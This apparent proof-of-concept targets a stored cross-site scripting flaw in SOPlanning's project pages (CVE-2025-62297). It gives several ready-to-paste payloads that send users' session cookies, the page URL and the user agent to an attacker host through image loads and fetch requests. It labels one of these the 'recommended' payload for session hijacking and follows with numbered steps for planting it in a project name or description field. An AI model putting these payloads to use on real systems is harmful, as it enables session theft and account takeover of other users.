CVE-2025-62297 SOPlanning存储型XSS漏洞

<!-- CVE-2025-62297 PoC: Stored XSS in SOPlanning /projets endpoint --> <!-- This PoC demonstrates the XSS vulnerability in SOPlanning --> <!-- Method 1: Using img tag with onerror event --> <img src=x onerror="this.src='https://attacker.com/log?cookie='+document.cookie"> <!-- Method 2: Using script tag --> <script>fetch('https://attacker.com/steal?data='+btoa(document.cookie))</script> <!-- Method 3: Using event handlers --> <div onmouseover="alert(document.domain)">XSS Payload</div> <!-- Recommended attack payload for session hijacking --> <script> // Create image element to exfiltrate cookies var img = document.createElement('img'); img.src = 'https://attacker.com/log?cookie=' + encodeURIComponent(document.cookie); document.body.appendChild(img); // Alternatively, send data via fetch API fetch('https://attacker.com/exfil', { method: 'POST', mode: 'no-cors', body: JSON.stringify({ cookies: document.cookie, url: window.location.href, userAgent: navigator.userAgent }) }); </script> <!-- Steps to exploit: 1. Authenticate with medium privileges account 2. Navigate to /projets endpoint 3. Create or edit a project 4. Inject XSS payload in project name/description field 5. Save the project 6. When any user views the project, the XSS will execute -->